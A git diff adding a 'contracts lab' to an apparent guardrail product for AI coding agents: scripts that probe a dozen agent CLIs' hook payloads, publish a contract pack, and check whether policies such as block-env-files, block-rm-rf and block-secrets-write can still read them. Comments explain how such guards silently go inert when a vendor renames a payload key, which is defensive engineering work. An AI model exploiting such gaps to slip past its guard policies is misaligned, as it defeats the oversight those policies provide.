+ if (i === -1 || i === process.argv.length - 1) { + if (fallback !== undefined) return fallback; + console.error(`contracts-pack: missing --${name}`); + process.exit(2); + } + return process.argv[i + 1]; +} + +const inDir = arg("in"); +const summaryPath = arg("summary"); +const outPath = arg("out"); +const repoDir = arg("repo"); + +const probes = {}; +try { + for (const line of readFileSync(summaryPath, "utf8").split("\n")) { + const marker = "CONTRACTS_JSON "; + const at = line.indexOf(marker); + if (at === -1) continue; + try { + const p = JSON.parse(line.slice(at + marker.length)); + if (p && typeof p.cli === "string") probes[p.cli] = p; + } catch { + // One unparseable line must not cost us the other eleven CLIs. + } + } +} catch { + console.error(`contracts-pack: could not read ${summaryPath}`); + process.exit(2); +} + +if (Object.keys(probes).length === 0) { + console.error("contracts-pack: no probe verdicts — nothing ran"); + process.exit(2); +} + +const clis = {}; +for (const cli of Object.keys(probes).sort()) { + const file = join(inDir, `${cli}.json`); + let record = null; + if (existsSync(file)) { + try { + record = JSON.parse(readFileSync(file, "utf8"))?.clis?.[cli] ?? null; + } catch { + // A table we cannot parse is the same as no table, for this vendor only. + } + } + clis[cli] = { + ...(record ?? { hooks: {} }), + probe: { verdict: probes[cli].verdict, note: probes[cli].note }, + }; +} + +writeFileSync(outPath, `${JSON.stringify({ generatedAt: new Date().toISOString(), clis }, null, 2)}\n`); +console.log(`pack: ${outPath} (${Object.keys(clis).length} CLIs)`); + +// ── What it means ──────────────────────────────────────────────────────────── +const { compareContractTable } = await import(join(repoDir, "src", "hooks", "contract-compare.ts")); +let high = 0; +for (const c of compareContractTable(JSON.parse(readFileSync(outPath, "utf8")))) { + for (const f of c.findings) { + if (f.severity === "high") high += 1; + console.log(` [${f.severity}] ${c.cli}: ${f.detail}`); + } +} +console.log(high > 0 ? `\n${high} high-severity translation finding(s)` : "\ntranslation: nothing to report"); + +const counts = { OK: 0, DRIFT: 0, ERROR: 0, INCONCLUSIVE: 0 }; +for (const p of Object.values(probes)) counts[p.verdict] = (counts[p.verdict] ?? 0) + 1; +console.log( + `probes: ${counts.OK} ok, ${counts.DRIFT} drift, ${counts.INCONCLUSIVE} inconclusive, ${counts.ERROR} error`, +); + +// A run that exercised nothing is not a clean run, however green it looks. This +// is the failure mode a lab dies of: a rotated model name or an expired key +// makes every probe inconclusive, and silence reads as health. +if (counts.OK === 0) { + console.error("NOTHING REACHED OK — no vendor was actually exercised; treat this run as invalid"); + process.exit(2); +} +if (counts.DRIFT > 0 || high > 0) process.exit(1); +if (counts.ERROR > 0) process.exit(2); +process.exit(0); diff --git a/integration-suite/contracts-probe.sh b/integration-suite/contracts-probe.sh index bea97ac17..d776a9420 100755 --- a/integration-suite/contracts-probe.sh +++ b/integration-suite/contracts-probe.sh @@ -52,7 +52,9 @@ BASE="$HOME/contracts-$CLI" # CI is a script that ships untested. REPO_DIR="${CONTRACTS_REPO_DIR:-/repo}" FAILPROOFAID_BIN="${CONTRACTS_DAEMON_BIN:-/opt/failproofaid/failproofaid}" -OUT_DIR="${CONTRACTS_OUT_DIR:-$REPO_DIR/integration-suite/out}" +# NOT under $REPO_DIR: the canary mounts /repo READ-ONLY, and an artifact +# directory that cannot be written is one the run silently produces nothing in. +OUT_DIR="${CONTRACTS_OUT_DIR:-$HOME/contracts-out}" GW="${CANARY_LLM_BASE_URL:-https://models.aikin.club}"; GW="${GW%/}" MARKER="PROBE_OK" PROMPT="Create a file named ${MARKER} in the current directory containing the word ready. Then stop." diff --git a/integration-suite/contracts-publish.sh b/integration-suite/contracts-publish.sh new file mode 100755 index 000000000..5810ba324 --- /dev/null +++ b/integration-suite/contracts-publish.sh @@ -0,0 +1,75 @@ +#!/usr/bin/env bash +# Publish a pack to the contracts repo — but only when the CONTRACT changed. +# +# contracts-publish.sh +# env: CONTRACTS_REPO= CONTRACTS_TOKEN= +# +# ── Why this compares before it commits ────────────────────────────────────── +# Every pack carries a fresh `generatedAt`, so a byte comparison would differ +# every single day. Push daily and the repo makes a release daily, and once a +# release means "today happened" it no longer means "something moved" — the +# signal the whole lab exists to produce is gone, replaced by a notification +# nobody reads. So the decision to commit ignores `generatedAt` and looks at the +# contract itself; when nothing moved, this exits 0 having done nothing, which +# is the correct outcome on almost every day. +# +# The probe verdicts are compared too, deliberately. A CLI going OK → ERROR is +# not a contract change, but it IS a change in what the pack can be trusted to +# say about that CLI, and a consumer reading a stale entry as current is exactly +# the failure this is built to prevent. +set -uo pipefail + +PACK="${1:?usage: contracts-publish.sh }" +REPO="${CONTRACTS_REPO:?CONTRACTS_REPO (owner/name) required}" +TOKEN="${CONTRACTS_TOKEN:?CONTRACTS_TOKEN required}" +BRANCH="${CONTRACTS_BRANCH:-main}" +[ -s "$PACK" ] || { echo "✗ no pack at $PACK" >&2; exit 2; } + +WORK="$(mktemp -d)" +# The token is in the remote URL, so the checkout must not outlive this script +# and must never be printed. Every echo below names $REPO, never the URL. +cleanup() { rm -rf "$WORK"; } +trap cleanup EXIT + +if ! git clone --depth 1 --branch "$BRANCH" \ + "https://x-access-token:${TOKEN}@github.com/${REPO}.git" "$WORK/repo" >/dev/null 2>&1; then + echo "✗ could not clone ${REPO} (branch ${BRANCH}) — wrong name, missing branch, or a token without write access" >&2 + exit 2 +fi + +DEST="$WORK/repo/pack.json" + +# ── Did the contract actually move? ────────────────────────────────────────── +changed=1 +if [ -f "$DEST" ]; then + changed="$(NEW="$PACK" OLD="$DEST" bun -e ' + const fs = require("node:fs"); + const strip = (p) => { + const o = JSON.parse(fs.readFileSync(p, "utf8")); + delete o.generatedAt; // the one field guaranteed to differ every run + return JSON.stringify(o); + }; + try { process.stdout.write(strip(process.env.NEW) === strip(process.env.OLD) ? "0" : "1"); } + catch { process.stdout.write("1"); } // unreadable either side: publish and let a human look + ')" +fi + +if [ "$changed" = 0 ]; then + echo "contracts: nothing moved — not publishing (the last pack still describes today)" + exit 0 +fi + +cp "$PACK" "$DEST" +git -C "$WORK/repo" -c user.name="failproofai contracts lab" \ + -c user.email="contracts@failproof.ai" \ + add pack.json +git -C "$WORK/repo" -c user.name="failproofai contracts lab" \ + -c user.email="contracts@failproof.ai" \ + commit -q -m "Contracts: $(date -u +%Y-%m-%d) — a vendor's hook contract moved" \ + || { echo "contracts: git found nothing to commit"; exit 0; } + +if ! git -C "$WORK/repo" push -q origin "$BRANCH" 2>/dev/null; then + echo "✗ push to ${REPO} rejected — the token needs write access to contents" >&2 + exit 2 +fi +echo "contracts: published an updated pack to ${REPO}" diff --git a/integration-suite/contracts-repo/README.md b/integration-suite/contracts-repo/README.md new file mode 100644 index 000000000..e1f043ed7 --- /dev/null +++ b/integration-suite/contracts-repo/README.md @@ -0,0 +1,43 @@ +# The contracts repo + +The contracts lab publishes one file — `pack.json`, describing every agent CLI's +live hook contract — to a **separate public repo** under the failproofai org. +This directory holds what that repo needs. Nothing here runs from this repo. + +## Why a separate repo + +The pack changes on the vendors' schedule, not ours. Publishing it here would +mean a commit to the product repo every time somebody else's CLI shipped, and a +release cadence driven by other people's release cadence. It also has to stay +readable by clients older than it is, which is easier to honour when it is +plainly a separate artifact with its own history. + +## Setting it up + +1. Create the repo (public), with a `main` branch and a `pack.json` — an empty + `{"clis":{}}` is fine as the first commit; the lab replaces it. +2. Copy `release.yml` into `.github/workflows/`. +3. Give the box a token with **contents: write** on that repo only, and put it + in `~/fp-canary/secrets.env`: + + ``` + CONTRACTS_REPO=FailproofAI/ + CONTRACTS_TOKEN= + ``` + + Until both are set the lab still runs and still reports to Slack — it just + does not publish. That is deliberate: a lab that cannot publish is still a + lab, and one that refuses to install until a repo exists is not. +4. Point clients at it by setting `DEFAULT_PACK_URL` in + `src/hooks/contract-pack-client.ts` to the release asset URL, or by setting + `FAILPROOFAI_CONTRACTS_URL` per machine. It is empty today on purpose: a + plausible-looking guess would 404 on every machine forever while looking + configured. + +## What a release means + +`contracts-publish.sh` commits **only when the contract moved** — it compares +the pack with `generatedAt` removed, because every run produces a fresh +timestamp. So a release in that repo means a vendor changed something. If it +ever starts firing daily, that property has been lost and the notification stops +being worth reading. diff --git a/integration-suite/contracts-repo/release.yml b/integration-suite/contracts-repo/release.yml new file mode 100644 index 000000000..0f01c0f16 --- /dev/null +++ b/integration-suite/contracts-repo/release.yml @@ -0,0 +1,63 @@ +# Publish pack.json as a release asset, so a client can fetch it from a URL it +# constructs rather than one it discovers. +# +# Copy into the contracts repo at .github/workflows/release.yml. It does NOT +# belong to the failproofai repo and does nothing here. +# +# It fires on a push to main that touched pack.json — which, because +# contracts-publish.sh only commits when the contract actually moved, means a +# release happens when a vendor changed something and not merely when a day +# passed. Keep it that way: a daily release is a notification nobody reads. +name: Release pack + +on: + push: + branches: [main] + paths: ["pack.json"] + workflow_dispatch: + +permissions: + contents: write + +jobs: + release: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + # A malformed pack is worse than a stale one: clients cache what they are + # served, so publishing garbage costs every machine a fetch to discover + # it. Cheap gate, and the only one between the lab and every client. + - name: Check the pack is a pack + run: | + node -e ' + const p = require("./pack.json"); + if (!p || typeof p !== "object" || !p.clis || typeof p.clis !== "object") { + throw new Error("pack.json has no clis object"); + } + const n = Object.keys(p.clis).length; + if (n === 0) throw new Error("pack.json describes no CLIs"); + console.log(`pack describes ${n} CLI(s)`); + ' + + # Dated tags, because the pack has no version of its own and inventing one + # would be a number nobody increments for a reason. Two moves in a day get + # a suffix rather than colliding. + - name: Tag + id: tag + run: | + base="pack-$(date -u +%Y-%m-%d)" + tag="$base" + n=1 + while git rev-parse "refs/tags/$tag" >/dev/null 2>&1; do + n=$((n+1)); tag="$base.$n" + done + echo "tag=$tag" >> "$GITHUB_OUTPUT" + + - name: Release + env: + GH_TOKEN: ${{ github.token }} + run: | + gh release create "${{ steps.tag.outputs.tag }}" pack.json \ + --title "${{ steps.tag.outputs.tag }}" \ + --notes "A vendor's hook contract moved. See pack.json." diff --git a/integration-suite/contracts-runner.sh b/integration-suite/contracts-runner.sh new file mode 100755 index 000000000..0cd3d35c7 --- /dev/null +++ b/integration-suite/contracts-runner.sh @@ -0,0 +1,79 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────────────────────── +# failproofai contracts lab — orchestrator. The sibling of run.sh: same setup, +# a different question. +# +# run.sh "is enforcement working" — needs a deny to observe +# contracts-runner "does the vendor still accept our config, and can we still +# read what it sends" — needs only a tool call +# +# ci-entrypoint.sh has already built failproofai and failproofaid, built the +# sandbox image, created the volume, installed the CLIs @latest, injected the +# OAuth tokens and written the gateway env-file. This selects the probe and +# assembles the pack; nothing above that line differs, which is why the two +# runners share an entrypoint rather than copying an hour of setup. +# +# THE DAEMON IS NOT OPTIONAL HERE. `recordHookShape` has exactly one call site, +# in worker-server.ts, so the in-process path records nothing at all — a run +# without the daemon would probe twelve CLIs and produce an empty pack that +# looks like twelve silent vendors. +# +# There is deliberately NO version gating. The canary skips a CLI whose version +# has not moved because a probe costs LLM credits and the answer cannot have +# changed. The opposite is true here: a vendor version that has not moved is +# exactly the case where we want yesterday's answer confirmed, and the whole +# artifact is a description of the CURRENT contract. A gated run would publish a +# pack whose entries silently date from different weeks. +# ───────────────────────────────────────────────────────────────────────────── +set -u +HERE="$(cd "$(dirname "$0")" && pwd)" + +REPO="${CANARY_REPO:?CANARY_REPO (built failproofai checkout) required}" +SANDBOX="${CANARY_SANDBOX:-$HERE}" +VOL="${CANARY_VOL:-integration-suite}" +IMAGE="${CANARY_IMAGE:-failproofai-integration-suite:base}" +ENVFILE="${CANARY_ENVFILE:?CANARY_ENVFILE (docker --env-file with gateway creds) required}" +OUT="${CONTRACTS_OUT_DIR:-${CANARY_WORK:-$HERE}/contracts}" +PACK="${CONTRACTS_PACK:-$OUT/pack.json}" + +DBIN="${CANARY_DAEMON_BIN:?contracts-runner requires CANARY_DAEMON_BIN — only the warm worker records payload shapes}" +[ -x "$DBIN" ] || { echo "✗ CANARY_DAEMON_BIN=$DBIN is not executable" >&2; exit 2; } +# docker reads a relative -v source as a NAMED VOLUME — absolutize first. +DBIN="$(cd "$(dirname "$DBIN")" && pwd)/$(basename "$DBIN")" + +CLIS=("$@") +if [ ${#CLIS[@]} -eq 0 ]; then + CLIS=(claude codex copilot cursor factory devin antigravity goose opencode pi hermes openclaw) +fi + +mkdir -p "$OUT" +rm -f "$OUT"/*.json +SUMMARY="$OUT/summary.txt" +: > "$SUMMARY" + +echo "── contracts lab: ${#CLIS[@]} CLI(s) ──" + +for cli in "${CLIS[@]}"; do + line="$(docker run --rm --env-file "$ENVFILE" \ + -v "$DBIN:/opt/failproofaid/failproofaid:ro" \ + -v "$REPO:/repo:ro" -v "$SANDBOX:/opt/canary:ro" -v "$VOL:/home/canary" \ + "$IMAGE" bash /opt/canary/contracts-probe.sh "$cli" 2>/dev/null \ + | grep '^CONTRACTS_JSON ' | tail -1)" + + # The probe's exit trap emits a line even when it dies, so an empty one means + # the CONTAINER never got far enough to run it. Saying so beats a silently + # missing CLI, which reads as a shorter run rather than a broken one. + if [ -z "$line" ]; then + line="CONTRACTS_JSON {\"cli\":\"$cli\",\"verdict\":\"ERROR\",\"note\":\"the probe container produced no verdict\",\"events\":[]}" + fi + echo "$line" | tee -a "$SUMMARY" + + # Lift this CLI's table out of the volume before the next probe overwrites it. + docker run --rm -v "$VOL:/home/canary" "$IMAGE" \ + cat "/home/canary/contracts-out/$cli.json" > "$OUT/$cli.json" 2>/dev/null \ + || rm -f "$OUT/$cli.json" +done + +echo +exec bun "$REPO/integration-suite/contracts-pack.mjs" \ + --in "$OUT" --summary "$SUMMARY" --out "$PACK" --repo "$REPO" diff --git a/integration-suite/local/install.sh b/integration-suite/local/install.sh index 7ac67220a..a2ab45a61 100755 --- a/integration-suite/local/install.sh +++ b/integration-suite/local/install.sh @@ -13,17 +13,22 @@ # writes ONE CRON LINE PER JOB. Idempotent: re-running upgrades the image and # rewrites those lines rather than adding a second set. # -# THREE JOBS SHARE THIS BOX, one image and one env file between them: +# FOUR JOBS SHARE THIS BOX, one image and one env file between them: # # canary the daily CLI integration suite (default 11:00, ~1h first run) +# contracts the daily hook-contract lab (default 06:00, ~1h first run) +# Drives every CLI through one boring tool call and records what +# each vendor actually sent, so a renamed payload key is caught +# here rather than by a customer whose policies silently stopped +# firing. Publishes a pack when — and only when — something moved. # translate the nightly doc translation (default 02:00, ~2h first run) # docs-audit a weekly sweep of the docs (default Mondays 04:00, ~1 min) # Posts to Slack AND keeps one "[auto] docs audit" tracking issue # current — opened when there is something to do, closed when a # week comes back clean. # -# The first two moved off GitHub Actions, where runner minutes were their entire -# cost. They are scheduled far apart and hold SEPARATE locks, so none can +# The canary and translate moved off GitHub Actions, where runner minutes were +# their entire cost. They are scheduled far apart and hold SEPARATE locks, so none can # swallow another: a canary wedged on a vendor CLI must not silently cost a # night of translation. # @@ -55,8 +60,9 @@ # five-field cron expression, which is how weekly is said. # --at canary "0 11" daily at 11:00 # --at docs-audit "0 4 * * 1" Mondays at 04:00 -# --at-canary / --at-translate / --at-docs-audit also work. -# Defaults: canary "0 11", translate "0 2", docs-audit "0 4 * * 1". +# --at-canary / --at-contracts / --at-translate / +# --at-docs-audit also work. +# Defaults: canary "0 11", contracts "0 6", translate "0 2", docs-audit "0 4 * * 1". # ───────────────────────────────────────────────────────────────────────────── set -euo pipefail @@ -73,7 +79,7 @@ GIT_URL="${CANARY_GIT_URL:-https://github.com/FailproofAI/failproofai.git}" # they have to be findable even after the command they contain changes. Per job, # or installing one would strip the other's line. CRON_MARKER_BASE="# failproofai-canary" -ALL_JOBS="canary translate docs-audit" +ALL_JOBS="canary contracts translate docs-audit" # A job name is a path component (jobs/.sh) and so may carry a dash; # a shell variable name may not. One conversion, used everywhere a per-job @@ -91,9 +97,15 @@ REQUIRED_canary="CANARY_REF CANARY_LLM_API_KEY COPILOT_GITHUB_TOKEN CANARY_SLACK # list does not already say. REQUIRED_translate="TRANSLATE_REF TRANSLATE_LLM_API_KEY TRANSLATE_LLM_BASE_URL TRANSLATE_GITHUB_TOKEN" REQUIRED_docs_audit="DOCS_AUDIT_REF CANARY_SLACK_WEBHOOK DOCS_AUDIT_GITHUB_TOKEN" +# contracts drives the same CLIs as the canary and needs the same credentials to +# reach them. CONTRACTS_REPO / CONTRACTS_TOKEN are deliberately NOT required: +# without them the lab still runs and still reports to Slack, it just does not +# publish — which is exactly the state to be installable in before the pack repo +# exists. +REQUIRED_contracts="CONTRACTS_REF CANARY_LLM_API_KEY COPILOT_GITHUB_TOKEN CANARY_SLACK_WEBHOOK" SECRETS_SRC="" ; RUN_NOW="" ; DO_CRON=1 ; DRY=0 ; BUILD_LOCAL=0 -JOBS="$ALL_JOBS" ; AT_canary="0 11" ; AT_translate="0 2" ; AT_docs_audit="0 4 * * 1" +JOBS="$ALL_JOBS" ; AT_canary="0 11" ; AT_contracts="0 6" ; AT_translate="0 2" ; AT_docs_audit="0 4 * * 1" while [ $# -gt 0 ]; do case "$1" in --jobs) JOBS="$(echo "${2:?--jobs needs a value, e.g. --jobs canary,translate}" | tr ',' ' ')"; shift ;; @@ -105,6 +117,7 @@ while [ $# -gt 0 ]; do at_job="$(vn "${2:?--at needs a job and a spec, e.g. --at canary \"0 11\"}")" eval "AT_$at_job=\"\${3:?--at needs a spec after the job name}\""; shift 2 ;; --at-canary) AT_canary="${2:?--at-canary needs a value, e.g. --at-canary \"0 11\"}"; shift ;; + --at-contracts) AT_contracts="${2:?--at-contracts needs a value, e.g. --at-contracts \"0 6\"}"; shift ;; --at-translate) AT_translate="${2:?--at-translate needs a value, e.g. --at-translate \"0 2\"}"; shift ;; --at-docs-audit) AT_docs_audit="${2:?--at-docs-audit needs a value, e.g. --at-docs-audit \"0 4 * * 1\"}"; shift ;; -h|--help) sed -n '2,58p' "$0" | sed 's/^# \{0,1\}//'; exit 0 ;; diff --git a/integration-suite/local/jobs/contracts.sh b/integration-suite/local/jobs/contracts.sh new file mode 100755 index 000000000..62e184cfd --- /dev/null +++ b/integration-suite/local/jobs/contracts.sh @@ -0,0 +1,105 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────────────────────── +# The contracts lab (CANARY_JOB=contracts), invoked by the runner image's baked +# entrypoint AFTER it has locked, cloned and checked out $CANARY_REF into +# $CANARY_WORK/clone-contracts. +# +# It answers the question the canary cannot: not "is enforcement working" — that +# needs a deny, and a vendor that ignores our config produces no evidence at all +# — but "does this vendor still accept the config we install, and can we still +# read what it sends". The output is a pack: one file describing every CLI's +# live hook contract, shaped exactly like the observation table a customer's own +# machine keeps, so one comparator reads both. +# +# Like the other jobs it lives IN THE REPO rather than the image: adding or +# changing a job is a checkout away, and nobody rebuilds the boss's image for it. +# +# WHY IT RUNS AT ALL, given the canary already probes twelve CLIs daily: the +# canary is version-gated and verdict-shaped. It tells us a CLI went red; it does +# not tell us WHAT the vendor changed, and its green does not mean our payload +# maps are intact — a CLI can pass an enforcement probe on Bash while a renamed +# file-tool key has quietly made every path policy inert. +# ───────────────────────────────────────────────────────────────────────────── +set -u + +WORK="${CANARY_WORK:?CANARY_WORK missing — runner-entrypoint.sh sets it}" +CLONE="${CANARY_CLONE:-$WORK/clone-contracts}" +LOGS="$WORK/logs" +OUT="$WORK/contracts" +mkdir -p "$LOGS" "$OUT" +JOB_TIMEOUT="${CONTRACTS_TIMEOUT:-5400}" + +export CANARY_CARGO_CACHE="${CANARY_CARGO_CACHE:-$WORK/cargo}" + +# Like the canary, this job drives the HOST's docker — the sandbox image and one +# probe container per CLI are siblings. Asserted here, where it is true, and +# BEFORE an hour of setup rather than at the first container. +[ -S /var/run/docker.sock ] || { + echo "✗ the contracts lab drives the host's docker and the socket is not mounted." >&2 + echo " Add: -v /var/run/docker.sock:/var/run/docker.sock" >&2 + exit 1; } +docker info >/dev/null 2>&1 || { + echo "✗ the docker socket is mounted but the daemon does not answer." >&2; exit 1; } + +TS="$(date -u +%Y%m%dT%H%M%SZ)" +FP_SHA="$(git -C "$CLONE" rev-parse --short HEAD)" +LOG="$LOGS/contracts-$TS.log" +PACK="$OUT/pack.json" +echo "── contracts run $TS: ${CANARY_REF:-?} @ $FP_SHA ──" + +slack_note() { # $1 = text; best-effort, never fails the run + [ -n "${CANARY_SLACK_WEBHOOK:-}" ] || return 0 + local payload + payload="$(printf '%s' "$1" | node -e 'const t=require("fs").readFileSync(0,"utf8");process.stdout.write(JSON.stringify({text:t}))')" + curl -sS --connect-timeout 10 --max-time 30 -o /dev/null -X POST \ + -H 'Content-type: application/json' --data "$payload" "$CANARY_SLACK_WEBHOOK" 2>/dev/null || true +} + +# The daemon is mandatory: `recordHookShape` has one call site, in the warm +# worker, so an in-process run would probe every CLI and publish an empty pack. +GITHUB_WORKSPACE="$CLONE" \ +CANARY_RUNNER="contracts-runner.sh" \ +CANARY_CHANNEL="stable" \ +CANARY_DAEMON=1 \ +CANARY_FP_SHA="$FP_SHA" \ +CONTRACTS_OUT_DIR="$OUT" \ +CONTRACTS_PACK="$PACK" \ + timeout -k 60 "$JOB_TIMEOUT" bash "$CLONE/integration-suite/ci-entrypoint.sh" 2>&1 | tee "$LOG" +rc=${PIPESTATUS[0]} + +# ── Report ─────────────────────────────────────────────────────────────────── +# The exit code carries the meaning (contracts-pack.mjs owns it): +# 0 every probe that ran reached OK and nothing we read has moved +# 1 a vendor moved — either a DRIFT verdict or a high-severity finding +# 2 the run could not be trusted: nothing was exercised, or a probe errored +summary="$(grep -E '^(probes:| \[|[0-9]+ high-severity|translation:|NOTHING REACHED OK)' "$LOG" | tail -25)" +case "$rc" in + 0) icon="✅"; head="contracts: nothing moved" ;; + 1) icon="🚨"; head="contracts: A VENDOR MOVED — a pack update and probably a release are needed" ;; + *) icon="🔥"; head="contracts: the run could not be trusted (rc=$rc)" ;; +esac +slack_note "$icon $head — ${CANARY_REF:-?} @ $FP_SHA +\`\`\` +${summary:-no summary in the log — see $LOG} +\`\`\`" + +# ── Publish ────────────────────────────────────────────────────────────────── +# The pack goes to its own public repo, whose releases the daemon can pull the +# same way it pulls failproofaid when npm did not deliver it. Deliberately +# skipped unless BOTH are configured, and never on an untrustworthy run: a pack +# assembled from a run that exercised nothing would overwrite a good one with +# silence, which is worse than publishing nothing. +if [ -n "${CONTRACTS_REPO:-}" ] && [ -n "${CONTRACTS_TOKEN:-}" ] && [ "$rc" -lt 2 ]; then + if [ -s "$PACK" ]; then + echo "── publishing pack to $CONTRACTS_REPO ──" + bash "$CLONE/integration-suite/contracts-publish.sh" "$PACK" 2>&1 | tee -a "$LOG" \ + || slack_note "⚠️ contracts: the pack was built but could not be published — see $LOG" + else + slack_note "⚠️ contracts: rc=$rc but no pack at $PACK — nothing published" + fi +else + echo "── publish skipped (CONTRACTS_REPO / CONTRACTS_TOKEN not both set, or untrusted run) ──" +fi + +echo "── done (rc=$rc) ──" +exit "$rc" diff --git a/integration-suite/local/run-job.sh b/integration-suite/local/run-job.sh index 909e2a229..f16495707 100755 --- a/integration-suite/local/run-job.sh +++ b/integration-suite/local/run-job.sh @@ -9,6 +9,7 @@ # box up. Here the command can breathe, and the crontab reads: # # 0 11 * * * $HOME/fp-canary/run.sh canary +# 0 6 * * * $HOME/fp-canary/run.sh contracts # 0 2 * * * $HOME/fp-canary/run.sh translate # 0 4 * * 1 $HOME/fp-canary/run.sh docs-audit # @@ -23,15 +24,16 @@ JOB="${1:-}" W="${CANARY_WORK:-$HOME/fp-canary}" case "$JOB" in - # Only the canary reaches the host's docker — it builds the sandbox image and - # runs the 12 probe containers as siblings. The other two are plain - # containers, and handing them the daemon would be scope for nothing. + # The canary and the contracts lab reach the host's docker — each builds the + # sandbox image and runs the 12 probe containers as siblings. The other two are + # plain containers, and handing them the daemon would be scope for nothing. # Timeouts sit an hour past the slowest observed first run, so a wedged vendor # CLI cannot still hold the lock at tomorrow's fire. canary) SOCK=(-v /var/run/docker.sock:/var/run/docker.sock); TMO=9000 ;; + contracts) SOCK=(-v /var/run/docker.sock:/var/run/docker.sock); TMO=9000 ;; translate) SOCK=(); TMO=16200 ;; docs-audit) SOCK=(); TMO=1800 ;; - *) echo "usage: $0 canary|translate|docs-audit" >&2; exit 2 ;; + *) echo "usage: $0 canary|contracts|translate|docs-audit" >&2; exit 2 ;; esac # ONE IMAGE PER JOB. They used to share a toolchain image that cloned the repo at diff --git a/src/hooks/contract-compare.ts b/src/hooks/contract-compare.ts new file mode 100644 index 000000000..f6690e5db --- /dev/null +++ b/src/hooks/contract-compare.ts @@ -0,0 +1,321 @@ +/** + * Turn an observed hook contract into findings about THIS build's translation + * maps. + * + * `contract-observer.ts` records what a vendor actually sent. This decides + * whether what it sent is still something we can read. That gap is where the + * product fails silently: every policy we enforce depends on a hand-written + * translation of some vendor's payload, each verified live against one version + * of one CLI, with nothing since re-checking it. When Copilot 1.0.71 renamed + * Read's `file_path` to `path`, `block-env-files` went inert on a live `.env` + * read and every surface went on reporting success. + * + * ## The one rule that keeps this honest + * + * It does not describe the translation — it RUNS it. `canonicalizeToolName` + * and `canonicalizeToolInput` are the same functions `handler.ts` calls on the + * live path, applied here to the key names the observer recorded. A separate + * description of what those maps do would be a second copy of the maps, and the + * copy nobody executes is the one that goes stale without telling anyone. This + * is the same call `config-drift.ts` makes: regenerate through the real writer + * rather than keeping a schema beside it. + * + * ## What it can and cannot prove + * + * From a table alone it can prove that a key we need is not derivable — that + * is arithmetic on names, and it is the finding that matters. It cannot prove a + * vendor stopped firing an event, because a table only holds what arrived and + * an event may simply not have been exercised. Absence lives with whoever knows + * what the session did (the lab, which drives a known tool call); this module + * deliberately never infers it. + * + * Input is deliberately loosely typed. The same comparison runs over a table + * from this machine and over one produced elsewhere by a newer build, and a + * field we do not recognise must be ignored rather than throw. + */ +import { canonicalizeToolName, canonicalizeToolInput } from "./tool-name-canonicalize"; +import { canonicalizeEventType } from "./handler"; +import { HOOK_EVENT_TYPES, INTEGRATION_TYPES, type IntegrationType } from "./types"; +import * as TYPES from "./types"; + +/** + * A canonical input key our policies read, and what stops working without it. + * + * Each entry is an OR-set: `block-read-outside-cwd` reads + * `toolInput.file_path || toolInput.path`, so either name satisfies it and + * demanding one specific spelling would manufacture findings about CLIs that + * are working perfectly. + * + * This table is small and hand-written, which is exactly the kind of thing that + * rots — so `contract-compare.test.ts` asserts every key named here still + * appears in `builtin-policies.ts`. Rename the key in a policy and this fails, + * rather than quietly checking for something nothing reads. + * + * Deliberately NOT required: `old_string` / `new_string` (no builtin inspects + * an edit body, so a vendor renaming them breaks nothing), `cwd`, and + * `replace_all`. Several maps translate them as a convenience; a convenience + * that goes missing is not an outage. + */ +interface KeyRequirement { + /** Satisfied when ANY of these canonical keys is derivable. */ + anyOf: readonly string[]; + /** What stops working. Goes in the finding, so it must name real policies. */ + why: string; + /** `high` when enforcement is lost; `info` when only an advisory degrades. */ + severity: "high" | "info"; +} + +export const REQUIRED_TOOL_INPUT_KEYS: Readonly> = { + Bash: [ + { + anyOf: ["command"], + why: "every Bash policy (block-sudo, block-rm-rf, block-force-push, ...) reads toolInput.command", + severity: "high", + }, + ], + Read: [ + { + anyOf: ["file_path", "path"], + why: "block-env-files and block-read-outside-cwd read the path being read", + severity: "high", + }, + ], + Write: [ + { + anyOf: ["file_path", "path"], + why: "block-env-files and block-secrets-write read the path being written", + severity: "high", + }, + { + anyOf: ["content"], + why: "warn-large-file-write inspects the bytes being written", + severity: "info", + }, + ], + Edit: [ + { + anyOf: ["file_path", "path"], + why: "block-env-files and block-secrets-write read the path being edited", + severity: "high", + }, + ], + Grep: [ + { + anyOf: ["file_path", "path"], + why: "block-read-outside-cwd reads the search path", + severity: "high", + }, + ], +}; + +export type ContractFindingKind = + /** A canonical tool we recognise arrives without a key our policies need. */ + | "inert-tool-input" + /** An event arrived whose name routes to nothing, so no policy can match it. */ + | "unroutable-event" + /** A vendor tool name we neither map nor recognise. A rename would look like this. */ + | "unmapped-tool"; + +export interface ContractFinding { + cli: string; + kind: ContractFindingKind; + severity: "high" | "info"; + /** The vendor's own event name, as recorded. */ + event?: string; + /** The vendor's own tool name, as recorded. */ + tool?: string; + canonicalTool?: string; + /** Canonical keys we could not derive, for `inert-tool-input`. */ + missing?: string[]; + /** The vendor key names actually seen. */ + observed?: string[]; + /** + * What stops working, named in terms of real policies. Separate from + * `detail` so a caller can compose its own line without re-deriving this. + */ + why?: string; + /** One line, safe for a log. Never payload values — the observer records none. */ + detail: string; +} + +/** The vendor version the table recorded, when it has one. */ +export interface ContractComparison { + cli: string; + version?: string; + findings: ContractFinding[]; +} + +const CANONICAL_EVENTS = new Set(HOOK_EVENT_TYPES); +const KNOWN_CLIS = new Set(INTEGRATION_TYPES); + +/** + * Tools whose name looks namespaced the way extensions and MCP servers name + * theirs (`mcp__server__tool`, goose's `__`). Used only to hold the + * rename heuristic below back from shouting about third-party tools. + */ +function looksThirdParty(toolName: string): boolean { + return toolName.includes("__") || toolName.includes("/") || toolName.startsWith("mcp"); +} + +/** + * Which gated tools an untranslated tool's KEYS look like. + * + * A tool name we cannot translate is ordinarily unremarkable — agents carry + * third-party tools we have no business knowing. But a name we cannot translate + * that arrives carrying exactly the keys one of our gated tools uses is a + * different thing: that is what a vendor renaming its shell tool looks like + * from here, and the consequence is every Bash policy silently matching + * nothing. The keys are the evidence the name cannot give us. + */ +function resemblesGatedTools(observed: readonly string[]): string[] { + const matches: string[] = []; + for (const [tool, reqs] of Object.entries(REQUIRED_TOOL_INPUT_KEYS)) { + const high = reqs.filter((r) => r.severity === "high"); + if (high.length > 0 && high.every((r) => r.anyOf.some((k) => observed.includes(k)))) { + matches.push(tool); + } + } + return matches; +} + +/** + * Every canonical tool name our maps can produce, derived from the maps rather + * than listed beside them — a hand-kept copy would be one more thing to forget + * when a CLI is added. Used to tell an untranslated name apart from a renamed 